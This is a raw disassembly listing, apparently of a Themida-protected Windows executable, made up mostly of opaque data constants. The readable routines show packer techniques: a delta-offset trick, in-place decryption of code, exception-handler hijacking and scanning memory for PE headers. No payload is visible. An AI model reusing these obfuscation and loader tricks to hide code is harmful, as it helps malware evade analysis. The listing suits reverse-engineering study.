		dd 2, 5BFFFEh, 77E75CB5h, 7FFE0304h, 5736B9h, 0
		dd offset word_5B854E
		dd 4 dup(0)
		dd offset byte_5B6ED1
		dd 823B6FDh, 2 dup(0)
		dd offset byte_5CA9C3
		dd 0
		dd offset dword_5BFF5C
		dd 0
		dd 644FF2DEh, 0
		dd 23h,	4 dup(0)
		dd offset byte_5B7877
		dd 4 dup(0)
aNnC		db '██]Г',0
		align 4
		dd 5 dup(0)
aY7mm		db 'Y7╛m',0
		align 4
		dd 5 dup(0)
		dd 4B36h, 3 dup(0)
		dd 0FFA41D0Eh, 5 dup(0)
		dd 1, 0AAFF95A0h, 2Ah, 0FFDFFFFFh, 4, 0
a88z		db '8Л8┤',0
		align 4
		dd 0C9AEC022h, 77F5180Bh, 0
		dd 1D7A40h, 0B0h dup(0)
		dd offset word_58A792
		dd 0
		dd offset byte_580023
		dd 0Fh dup(0)
aVlcw		db '┌▀Гw',0
		align 4
		dd 0FFFFE4D5h, 4 dup(0)
		dd 1F705E9Ch, 3	dup(0)
		dd offset byte_589817
		align 10h
		dd offset byte_5CA9C3
		dd 0FFA7CB25h, 0
		dd 3600h, 5 dup(0)
		dd 0A109F7h, 4 dup(0)
		dd 10h,	2 dup(0)
a3		db '3]н:',0
		align 4
		dd 2 dup(0)
		dd 12FF54h, 5C9296h, 0
		dd 24A6B9Ch, 2 dup(0)
		dd 6B7Bh, 2 dup(0)
		dd offset dword_59DA0C
		dd 6 dup(0)
		dd offset dword_40F108+27Ch
		dd 0
aI_1		db 'зiс╩',0
		align 4
		dd 8 dup(0)
		dd offset word_5BE05A
		dd 11111111h, 4	dup(0)
aZ		db '<уZ|',0
		align 4
		dd 2 dup(7FFE0304h), 0FFFFFFC8h, 9 dup(0)
		dd offset byte_54CC0B
		align 10h
aRestartapp_exe	db 'RestartApp.exe',0
		align 10h
		dd offset dword_549B78
		dd 0A37FD8h, 0
		dd 58A1FE67h, 0
		dd 24A6B9Ch, 79F2295Bh,	5AEEF7h, 2 dup(0)
		dd 0A1915Bh, 0
		dd offset sub_401000
		dd 5 dup(0)
		dd 7FFE0304h, 5CBF6Ah, 0
		dd 0FA3A511Ch, 0
		dd 0FFFF9E2Ch, 0
		dd 7FFE0304h, 3	dup(33333333h),	0
aZ_0		db 'г',1Bh,'┤[',0
		align 10h
		db 'Lю',0
		align 10h
		dd offset word_5921B2
		align 10h
		dd 0FFFF982Ch, 2 dup(0)
		dd offset byte_584369
		dd 0
		dd 0E80h, 21858DE1h, 4 dup(0)
		dd 0A169DDh, 4 dup(0)
		dd 7FFE0304h, 13h dup(0)
		dd 76DBFFEBh, 5B5383h, 62Ch, 4 dup(0)
		dd offset dword_58A7EC
		dd 3 dup(0)
		dd 2, 6	dup(0)
aHSw_0		db 'h>Хw',0
		align 10h
		dd 9 dup(0)
		dd 0A8h, 6 dup(0)
		dd offset word_58FACE
		dd 2 dup(0)
		dd 1, 0Eh dup(0)
		dd 0FFFF96ECh, 0
		dd offset unk_54A309
		align 8
		dd 0FFFFFFFFh, 5 dup(0)
aRel		db '=Ю┘l',0
		align 4
aQR		db 'еq╟R',0
		align 10h
		dd 4 dup(0)
		dd 0B614F06Eh, 13D8E05Dh, 3 dup(0)
a_fP		db '.f',27h,'p',0
		align 4
		dd 25C0000h, 0
		dd 7FFE0304h, 29h dup(0)
		dd offset dword_5A1ED8
		dd 4 dup(0)
a0I		db 'ъ0е╘',0
		align 4
		dd 12FFF0h, 4EBh, 0
		dd 0E4E9h, 3 dup(0)
a@V		db '@',1Bh,'╢v',0
		align 4
		dd 4 dup(0)
		dd offset word_59DAFA
		dd 0A00A9Ah, 0
		dd offset dword_58E7C0
		dd 7FFE0304h, 2	dup(0)
		dd 4001E8h, 0
		dd 990h, 0
		dd offset byte_5779ED
		dd 13D8E05Dh, 7Ch, 2 dup(0)
		dd offset byte_5A6BE9
		dd 641983EFh, 2	dup(0)
a0I_0		db 'ъ0е╘',0
		align 4
		dd 80000h, 2 dup(0)
		dd offset byte_5834DB
		align 10h
		dd 0B075E0h, 2 dup(0)
aUc		db 'Ц√ив',0
		align 4
		dd 5 dup(0)
		dd 77E75CB5h, 2, 0
		dd 7FFE0304h, 0
aSSw_0		db 'Х/Хw',0
		align 4
		dd 5 dup(0)
		dd 761C9064h, 0
		dd 6797FD4h, 0FE3C9673h, 3 dup(0)
		dd offset dword_58C824
		dd 3 dup(0)
		dd 77E7AC5Eh, 4F1E983Eh, 7FFE0304h, 3 dup(0)
a_fP_0		db '.f',27h,'p',0
		align 4
		dd 5 dup(0)
		dd 0F1F3805Ch, 2 dup(0)
		dd 77E805D8h, 8	dup(0)
		dd offset word_58A792
		dd 1Bh dup(0)
		dd 0FC018D8Dh, 3 dup(0)
aTxmp		db '▓XmP',0
		align 10h
		dd 8 dup(0)
		dd 20EE9h, 0
		dd 3F9F8h, 5B76A3h, 587072h, 0A12BDEh, 96Ch, 0
aCycw		db 'cyГw',0
		align 10h
		dd 0A1A00Fh, 0
		dd 98h,	3 dup(0)
		dd 77EBA6E9h, 12FEF8h, 0Ch dup(0)
		dd offset byte_5B8F9D
		align 8
		dd offset byte_5834DB
		align 10h
		dd 0A169DDh, 0
		dd 7FFE0304h, 5	dup(0)
		dd offset word_5A0332
		dd 8 dup(0)
		dd offset byte_5779ED
		dd 0
		dd 0E056F3E4h, 0
		dd 12FF64h, 4DF000h, 2 dup(0)
aR_1		db '╨╫r;',0
		align 4
		dd 25D0000h, 2 dup(0)
aY7mm_0		db 'Y7╛m',0
		align 10h
		dd 9 dup(0)
		dd 0A169DDh, 5 dup(0)
		dd offset word_57CC66
		dd 5 dup(0)
		dd 0A16Ch, 0
		dd 41100B71h, 5A0BA8h, 0
		dd 77E805D8h, 2	dup(0)
		dd 0FFED005Ch, 3 dup(0)
		dd 0E1014h, 0
		dd 77F50000h, 5	dup(0)
aSne_0		db 'А█┘!',0
		align 4
		dd offset byte_5A6227
		dd 0
		dd 0FFFF4AD6h, 5CC5C0h,	82h dup(0)
		dd 94B5950Fh, 6	dup(0)
aJW		db 'jитw#',0
		db 'X',0
		align 10h
		dd offset dword_5BC9F8
		dd 2 dup(0)
		dd 78FC6BCAh, 4	dup(0)
		dd 77DD0000h, 7	dup(0)
aJff		db 'jДFу',0
		align 4
		dd 5 dup(0)
		dd offset byte_5834DB
		dd 3 dup(0)
		dd 0EFh, 7FFE0304h, 5 dup(0)
aSpmUsGt	db 'И▐m°в⌠Х',9,8,'ёT',0
		align 10h
		dd offset byte_5BD6DD
		dd 12FFC4h, 6 dup(0)
		dd 13DFEEFFh, 57C9E5h, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54C110:				; CODE XREF: start:loc_548BDFj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 614353Bh
		mov	[ebp+6143505h],	edx
		mov	[ebp+6142679h],	esi
		mov	[ebp+6142E29h],	eax
		cmp	dword ptr [ebp+6143495h], 0
		jz	short loc_54C148
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54C148:				; CODE XREF: start+6B126j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+61410C1h],	eax
		push	45h
		call	sub_54C1FC
		push	783749Ah
		call	sub_54C242
		push	0A894B25h
		call	sub_54C242
		jmp	loc_54C386
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 4645h
		dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
		dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
		dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh
		dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h
		dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h
		dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh
		dd 0C2C1C0BFh, 0C3h, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54C1FC	proc near		; CODE XREF: start+6B140p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6143629h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54C218:				; CODE XREF: sub_54C1FC+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54C237
		mov	eax, [ebp+arg_0]
		mov	[ebx+6143593h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54C218
; ---------------------------------------------------------------------------


loc_54C237:				; CODE XREF: sub_54C1FC+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54C1FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54C242	proc near		; CODE XREF: start+6B14Ap start+6B154p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 6143672h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54C268:				; CODE XREF: sub_54C242+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54C268
		mov	[ebp+var_84], 0
		lea	edi, [edx+6143593h]
		lea	esi, [ebp+var_80]


loc_54C298:				; CODE XREF: sub_54C242+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54C2A4:				; CODE XREF: sub_54C242+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54C2A4
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54C298
		popa
		leave
		retn	4
sub_54C242	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54C2E2
; ---------------------------------------------------------------------------


loc_54C2DE:				; CODE XREF: Themida_:0054C2E5j
		inc	dword ptr [ebp-4]
		inc	esi


loc_54C2E2:				; CODE XREF: Themida_:0054C2DCj
		cmp	byte ptr [esi],	0
		jnz	short loc_54C2DE
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54C373
; ---------------------------------------------------------------------------


loc_54C2F4:				; CODE XREF: Themida_:0054C376j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54C36A
; ---------------------------------------------------------------------------


loc_54C2FD:				; CODE XREF: Themida_:0054C36Ej
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54C357
; ---------------------------------------------------------------------------


loc_54C30D:				; CODE XREF: Themida_:0054C35Bj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54C32F
		cmp	bl, 39h
		ja	short loc_54C32F
		sub	bl, 30h
		jmp	short loc_54C351
; ---------------------------------------------------------------------------


loc_54C32F:				; CODE XREF: Themida_:0054C323j
					; Themida_:0054C328j
		cmp	bl, 61h
		jb	short loc_54C341
		cmp	bl, 66h
		ja	short loc_54C341
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54C351
; ---------------------------------------------------------------------------


loc_54C341:				; CODE XREF: Themida_:0054C332j
					; Themida_:0054C337j
		cmp	bl, 41h
		jb	short loc_54C351
		cmp	bl, 46h
		ja	short loc_54C351
		sub	bl, 41h
		add	bl, 0Ah


loc_54C351:				; CODE XREF: Themida_:0054C32Dj
					; Themida_:0054C33Fj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54C357:				; CODE XREF: Themida_:0054C30Bj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54C30D
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54C367
		mov	eax, [ebp-10h]
		stosb


loc_54C367:				; CODE XREF: Themida_:0054C361j
		inc	dword ptr [ebp-8]


loc_54C36A:				; CODE XREF: Themida_:0054C2FBj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54C2FD
		add	edx, 4


loc_54C373:				; CODE XREF: Themida_:0054C2F2j
		cmp	edx, [ebp-4]
		jb	loc_54C2F4
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54C386:				; CODE XREF: start+6B159j
		mov	ecx, 7000h
		lea	edi, [ebp+61437B8h]


loc_54C391:				; CODE XREF: start+6B381j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54C391
		mov	eax, 48692121h
		mov	edx, 0F00E1000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+614388Fh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		jp	loc_54C3D8
		jnb	loc_54C3D8
		jmp	loc_54C3D8
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0DBh
		dd 0B45155DEh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54C3D8:				; CODE XREF: start+6B3AEj start+6B3B4j ...
		sub	eax, edx
		mov	bl, al
		and	eax, 0FFFFF000h
		mov	ecx, edx
		xor	edi, edi


loc_54C3E5:				; CODE XREF: start+6B3ECj
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_54C3FA
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_54C402


loc_54C3FA:				; CODE XREF: start+6B3D6j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_54C3E5
; ---------------------------------------------------------------------------


loc_54C402:				; CODE XREF: start+6B3E4j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+61438A2h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_54C43C
		mov	esi, [eax+1Ch]


loc_54C43C:				; CODE XREF: start+6B423j
		xor	eax, eax


loc_54C43E:				; CODE XREF: start+6B43Dj
		cmp	eax, 32h
		jz	short loc_54C462
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_54C453


loc_54C44A:				; CODE XREF: start+6B44Cj
		sub	esi, 10000h
		inc	eax
		jmp	short loc_54C43E
; ---------------------------------------------------------------------------


loc_54C453:				; CODE XREF: start+6B434j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_54C4A4
		jmp	short loc_54C44A
; ---------------------------------------------------------------------------


loc_54C462:				; CODE XREF: start+6B42Dj
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 8B51h
		dd 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h, 0E8551024h
		dd 0
		dd 0ADED815Dh, 8D061438h, 14386B85h, 0B8818906h, 5D000000h
		dd 0C3C03359h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54C4A4:				; CODE XREF: start+6B44Aj
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		push	0
		push	esi
		call	sub_54C4BA
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_54C4BA	proc near		; CODE XREF: start+6B49Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_54C4BA	endp

; ---------------------------------------------------------------------------
		dw 9A70h
		dd 0D988E77h, 2444BB66h, 0BBD98C66h, 30673C80h,	0B704E180h
		dd 0FC90A37h, 1E85h, 85C7FC00h,	61412CDh, 1, 3DE957B3h
		dd 0F9000000h, 6E9h, 37A42C00h,	0C7451003h, 1412CD85h
		dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0C5F36FCAh, 0DB9FC46Fh, 0DA8B8E8Fh
		dd 11458589h, 7E90614h,	23000000h, 4246C19h, 8589D8E9h
		dd 6141AD1h, 13E8h, 1CA13C00h, 0C7859AEEh, 8AD66222h, 0A8E99B3h
		dd 0DBE7900Ch, 7E9h, 0EE888800h, 74C66E2Eh, 0BE859h, 0CB00000h
		dd 713F3D56h, 0B04F2CF2h, 0FDBF51FFh, 5B0DC2FFh, 3BC1815Bh
		dd 0BA000067h, 3155CA00h, 4F9AC281h, 840FCEAAh,	3, 0FFC7BF0Fh
		dd 0F88B6631h, 3890F5Eh, 0F000000h, 0EE81C7B7h,	2B84791Fh
		dd 0F681AFB4h, 3E1C794Fh, 0C681C2B7h, 14132BEDh, 0A8BF6653h
		dd 31895F5Ch, 0E983E18Ah, 8770B804h, 0F4A58BCh,	2385h
		dd 0CE900h, 3ED70000h, 0FEB3217Fh, 5789B069h, 31E954C2h
		dd 0E3000000h, 5429C2AAh, 5BC791Dh, 0E1113358h,	0EE9h
		dd 19F38300h, 0BDCFD19Ch, 0E7135270h, 0E9C600A4h, 0FFFFFF87h
		dd 7DC1D3C6h, 6FD55D29h, 61612294h, 11E8h, 6B80B600h, 84DEA8B3h
		dd 4A16B845h, 841483DCh, 8166C20Bh, 5E0AD7E8h, 81CABF0Fh
		dd 63EDC6h, 0B9CA8100h,	2B28FDAEh, 3BEEB9DBh, 3C8B2C9Eh
		dd 6830F1Eh, 81000000h,	672479E1h, 0BCF78168h, 0F2DE342h
		dd 1389h, 0D800F00h, 0E8000000h, 7, 0E26B01B3h,	5965DC54h
		dd 46ABC781h, 816656A0h, 81D966CAh, 0C59EC4EFh,	89D78B68h
		dd 3AB91E3Ch, 0B9492C77h, 1F3A382h, 0C724EB81h,	12E906B6h
		dd 14000000h, 9645C2EEh, 5D2238E3h, 6661E140h, 91921112h
		dd 20C381DCh, 8006B6C7h, 0FB8146D4h, 0FFFF9CC4h, 0FF80850Fh
		dd 820FFFFFh, 2, 4EB6AB0h, 215h, 6F6E9h
		db 0, 0F9h
word_54C6F2	dw 6060h		; DATA XREF: Themida_:0054AEF0o
		dd 72BDBAB8h, 5585893Bh, 61061431h, 0B8h, 55BD8900h, 8B061424h
		dd 89282454h, 140D4D8Dh, 118D2906h, 89061426h, 1402F585h
		dd 820F6006h, 6, 239DBD8Bh, 0BF0F0614h,	0BEF961C7h, 3Ch
		dd 0EE9h, 0E95F1100h, 0BB5192D1h, 19F1723Dh, 32F04F2h
		dd 60242474h, 13E8h, 0C5A84000h, 93E45FB6h, 0C7096247h
		dd 248029B6h, 0BA0D85C8h, 8B5810B1h, 0AD6661D1h, 0EE9h
		dd 366E1E00h, 0AB6A6A63h, 0CF7CE3BAh, 369F6BEh,	89242444h
		dd 140A419Dh, 0DE95006h, 29000000h, 56DD1992h, 6CFF3C0Ch
		dd 9E28C5D2h, 29240489h, 14042DBDh, 78408B06h, 15952960h
		dd 0B061421h, 1434BDB5h, 850F6106h, 6, 1505BD89h, 44030614h
		dd 9D892824h, 61429C1h,	918408Bh, 1400B195h, 80604006h
		dd 89611DCEh, 143B0985h, 0A840F06h, 60000000h, 1685858Bh
		dd 0D98B0614h, 8BF85861h, 83FC7870h, 11E91CC6h,	6B000000h
		dd 0C369835Fh, 165B5768h, 7028C75Bh, 3E0C9897h,	24247403h
		dd 31698D29h, 0BD8D0614h, 61418F1h, 0C8F0Fh, 8F0F0000h
		dd 6, 1909B589h, 31AD0614h, 141BE98Dh, 24440306h, 1860F24h
		dd 0F9000000h, 0BD8DF9ABh, 61409D9h, 0E8F0Fh, 8B600000h
		dd 1430F195h, 4D8D8906h, 61061404h, 0E86060ADh,	5, 0ADD1EA2Bh
		dd 961584Ch, 14257D85h,	810F6106h, 16h,	9E960h,	38C10000h
		dd 8B4E2160h, 8183A18Dh, 6BDB8CDBh, 44036165h, 95292424h
		dd 6141D15h, 14E990h, 0C9A20000h, 11D1A6C9h, 0AB51A57h
		dd 0E9CEAE81h, 2B047E32h, 5050BABEh, 8C0F6052h,	0
		dd 0E9310F61h, 0Ah, 13710ECCh, 93A62B0Ch, 585AD609h, 6830F90h
		dd 9000000h, 1412D185h,	14E9AB06h, 83000000h, 940A6609h
		dd 456B725Fh, 0D8A2EC65h, 41F427C9h, 8DC87F4Fh,	140381BDh
		dd 0D858906h, 6006142Fh, 8BD1B70Fh, 143101B5h, 89AD6106h
		dd 1425B59Dh, 81858906h, 306140Fh, 31282444h, 14056D8Dh
		dd 8589AB06h, 6140BE5h,	99B5315Eh, 0FF061421h, 143B098Dh
		dd 9BD8306h, 6143Bh, 44C71075h,	1C24h, 0B58D0000h, 6143FDDh
		dd 0AD56E6FFh, 28244403h, 8ADF8B97h, 141A5985h,	74C08406h
		dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h
		dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah,	66EBD166h
		dd 973D8D1h, 50413566h,	49F38166h, 75CEFE54h, 33C833EBh
		dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah
		dd 0C6835E0Fh, 0F585FF04h, 0E9061402h, 0FFFFFF6Fh, 8D29605Eh
		dd 6142375h, 0F6128B1h,	68Fh, 1BB36000h, 8B610BB1h, 1402F585h
		dd 0DD952906h, 0D106142Eh, 68E0FE0h, 89000000h,	142D69BDh
		dd 81850306h, 60061403h, 87BE6660h, 0B70F6144h,	0F62B61CAh
		dd 8860Fh, 860F0000h, 2, 60966160h, 0BBDB529h, 820F0614h
		dd 6, 8A0Fh, 66610000h,	14E9ADh, 13BB0000h, 0B6FD2BEh
		dd 38673E8Fh, 0B07800D6h, 1F47E6EEh, 0F60E017h,	62BBC9BFh
		dd 612EF9E8h, 8902E0C1h, 142C2985h, 0F1850306h,	0F061418h
		dd 0B83h, 6E900h, 0E8560000h, 29C2AAE3h, 0E1BD8996h, 0AD061418h
		dd 6E9h, 53185600h, 8B221182h, 0E924244Ch, 6, 270575C6h
		dd 440321A0h, 0BD892424h, 6142EA5h, 1C244489h, 0FE9h, 0D21B6A00h
		dd 0C2F2978Ah, 936FEAA1h, 62B4CB20h, 0A840F96h,	60000000h
		dd 850FF88Ah, 0
		dd 9509AC61h, 6142D09h,	6060C932h, 800Fh, 0BD310000h, 61413F5h
		dd 0C1FE6161h, 8DD9589h, 0D0D00614h, 0C6830Fh, 0BD010000h
		dd 6142C55h, 830FD0D0h,	0B8h, 7E9h, 0F0863A00h,	4CD64CB7h
		dd 820FD0D0h, 0A4h, 0F6BF0F60h,	61CFB70Fh, 820FD0D0h, 94h
		dd 1A89BD29h, 0C9FE0614h, 0FFB8890Fh, 880FFFFFh, 8, 1858B60h
		dd 61061406h, 20C483F9h, 0F3BF0F60h, 4521BF66h,	2444C761h
		dd 0FCh, 6880F00h, 1000000h, 142F6595h,	1B806h,	0CE90000h
		dd 2F000000h, 74221981h, 9109D443h, 0F27EAA9h, 1282h, 0DE900h
		dd 0CB140000h, 0A41F1EE8h, 0C346C478h, 8D26B9DFh, 1470F08Dh
		dd 13E96006h, 0EE000000h, 0A2216CC4h, 75C4BDFBh, 3CFCA92Bh
		dd 159F7ECFh, 9D890FFFh, 61424A5h, 0FCE1FF61h, 1A5985C6h
		dd 9000614h, 142661BDh,	8F0F6106h, 19h,	14E9h, 0D5470C00h
		dd 54019261h, 3EE50CF5h, 0EE0B307Dh, 0E4672A0Fh, 0F870F1Bh
		dd 0E9000000h, 0Ah, 0E1A13BD4h,	7ACF98F0h, 8C2F1D8h, 0B70F6000h
		dd 0CF8166DBh
		db 60h,	78h, 61h
byte_54CC0B	db 50h			; DATA XREF: Themida_:0054B6B4o
		dd 0BE605250h, 2029B60Fh, 60310F61h, 0E451ACBEh, 61CE8B51h
		dd 3489585Ah, 0F880F24h, 0E9000000h, 0Ah, 9F9BB7D5h, 108B9368h
		dd 3160F4FDh, 140AF995h, 0C19D8B06h, 6106141Ah,	41E0B589h
		dd 66600614h, 9823E781h, 0E101E081h, 89615A05h,	1441EB8Dh
		dd 0B58DF906h, 61440DCh, 0FE9h,	9BF49100h, 0D1A7853Ah
		dd 6B6D9920h, 0AE8610AEh, 8EA1858Dh, 8960005Bh,	1413DDB5h
		dd 0F1B58906h, 6106142Eh, 8E9D0FFh, 45000000h, 0B0A4D7FDh
		dd 5EF1237Ah, 14E9C3F9h, 0D2000000h, 5360BAD6h,	8C95032Ah
		dd 6EF63DD7h, 3C3CDB9Eh, 8B7BD98Fh, 1441E0B5h, 0F1BD8906h
		dd 8B061402h, 1441EB8Dh, 59B50906h, 0B8061413h,	0
		dd 0A7D8589h, 0D98B0614h, 59858960h, 61061426h,	0A9E9h
		dd 0B8C0F00h, 0E9000000h, 6, 76BAF48Ah,	2632297Fh, 2A859509h
		dd 2B20614h, 5EE9F8h, 0BD090000h, 61408CDh, 820FC232h
		dd 14h,	0FE9h, 0D249EC00h, 0AACDEC0h, 62C28D12h, 0CB38F36h
		dd 751D7A05h, 1195018Ah, 8A061425h, 0B19529CCh,	0D3061401h
		dd 0C1B589C8h, 3506142Eh, 98D10842h, 10D58529h,	8D090614h
		dd 6141385h, 9E9CAFEh, 3A000000h, 1B086468h, 57171CB8h
		dd 850FD20Ah, 0FFFFFFA0h, 0EDBD8B60h, 81061412h, 58F8B8DBh
		dd 14B6120h, 141165BDh,	75950106h, 4606140Ch, 2625BD29h
		dd 0DB0B0614h, 0FF60850Fh, 8B60FFFFh, 1423498Dh, 12E906h
		dd 0D0A30000h, 0B5A850FFh, 63E8D690h, 0E283C274h, 0E3680FFCh
		dd 0F5CF61h, 55950900h,	61402h,	0F800h,	18E9BD29h, 0DE90614h
		dd 41000000h, 80E852Bh,	3B874395h, 23921B2Ah, 8DFC0000h
		dd 143B1385h, 68D0F06h,	1000000h, 1434F98Dh, 11858906h
		dd 0E9061423h, 7, 0A7EB4EC1h, 8D4C23A7h, 14402C85h, 2DBD8906h
		dd 8906142Eh, 142AD585h, 14EB06h, 3 dup(0)
		dd 85000000h, 8D000000h, 14430C85h, 8D858906h, 83061410h
		dd 14424CBDh, 840F0006h, 12Ch, 1A5985C6h, 68560614h, 6C3FF16Bh
		dd 0CE240481h, 0FF67DF7Bh, 141145B5h, 13858D06h, 0FF06143Bh
		dd 408589D0h, 0C6061442h, 141A5985h, 0B3685606h, 814800A5h
		dd 129F2404h, 0B5FF54A8h, 6141145h, 3B13858Dh, 0D0FF0614h
		dd 42448589h, 46A0614h,	4E8h, 100000h, 448B5000h, 8B0424h
		dd 4244489h, 50858B58h,	5061442h, 1F4h,	5002E0C1h, 6A240489h
		dd 4495FF00h, 89061442h, 14424885h, 0B8D88B06h,	0FFFFFFFFh
		dd 108D95FFh, 0C38B0614h, 108D95FFh, 8DE90614h
		db 3 dup(0)
byte_54CEEB	db 83h			; DATA XREF: Themida_:00549C6Co
		dd 14424CBDh, 850F0006h, 1, 0BD8B57C3h,	6144248h, 488583ABh
		dd 4061442h, 0BD83C35Fh, 614424Ch, 1850F00h, 0C3000000h
		dd 48AD8360h, 4061442h,	42489D8Bh, 7B830614h, 850FFFFCh
		dd 26h,	4E8h, 800000h, 448B5000h, 8B0424h, 4244489h, 0FF006A58h
		dd 4095FF33h, 61061442h, 1DE9C3h, 9D680000h, 81595F7Ah
		dd 0FA9D2434h, 6A595Fh,	95FF33FFh, 6144240h, 4248AD83h
		dd 0E9040614h, 0FFFFFFA8h, 9D3E948h, 83B60000h,	8EBDD441h
		dd 1B9A9C83h, 0D607FFCDh, 9E94CDA8h, 19DF9098h,	0E3616A50h
		dd 4625D363h, 0A5EB637Ah, 0CCB6D941h, 0C88948Fh, 0C416AC9Fh
		dd 0D59B88AFh, 13AFF3F7h, 0E27C7E5Ah, 4625816Fh, 0A6E46578h
		dd 0CCACD941h, 13928990h, 0DA0AB29Fh, 0DB8F9FB4h, 5F9B909Ch
		dd 0F37C7A4Dh, 824D322h, 0B0F0656Dh, 83AAC041h,	139C8991h
		dd 91h,	62h dup(0)
		dd 83B60000h, 82B7DD41h, 0C928F9Fh, 0D81DAF9Fh,	96979FBCh
		dd 0C9E96DDh, 0E26A7D1Fh, 4736812Dh, 0E2E16461h, 82B6C513h
		dd 5E9A959Fh, 0CE4FB1D6h, 0DB8498B4h, 0B8C878Eh, 8D21725Ah
		dd 4D3CF14Eh, 0EEE07975h, 80B6C541h, 5E999A99h,	0D14FABD6h
		dd 0DB9B82A9h, 10929B90h, 0E62F664Dh, 5A70C52Dh, 0A3F17971h
		dd 95F8C413h, 5E8F8E99h, 0D000ADCFh, 0D59B8CA9h, 48h dup(0)
		dd 83B60000h, 8DAAD341h, 0C989095h, 0C34FAC98h,	0DB9A82B4h
